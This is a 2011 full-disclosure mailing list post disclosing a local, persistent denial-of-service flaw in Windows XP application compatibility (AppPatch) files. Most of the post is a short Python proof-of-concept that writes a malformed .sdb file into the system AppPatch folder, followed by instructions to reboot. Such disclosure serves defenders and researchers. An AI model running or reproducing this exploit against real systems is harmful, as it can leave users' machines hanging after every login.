full-disclosure - Malformed Package Appfix files - Local Persistent Denial Of Service

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Message-ID: <56043.93.20.140.66.1296178399.squirrel@alexander.fl-net.se>
Date: Fri, 28 Jan 2011 01:33:19 -0000 (GMT)
From: "SecuBox fRoGGz" <writeme@...rige.nu>
To: full-disclosure@...ts.grok.org.uk
Subject: Malformed Package Appfix files - Local Persistent
	Denial Of Service

; Proof-of-Concept, tested on WINDOWS XP SP2 5.1.2600 FR (thx momo)

#/usr/bin/env python
import sys
f=open('C:\\WINDOWS\\AppPatch\\systest.sdb','w')
f.write('\x02\x00\x00\x00\xFF\xFF\x00\x00\x73\x64\x62\x66\x02\x78\xFF\xFF\x00\x00')
f.close()

Note: Make sure you have sufficient permissions to write this file.
Execute the PoC, restart your virtual machine. After the login screen, you
might start to observe computer freezes/hangs-up ... with special crafted
files, Windows could stop responding.

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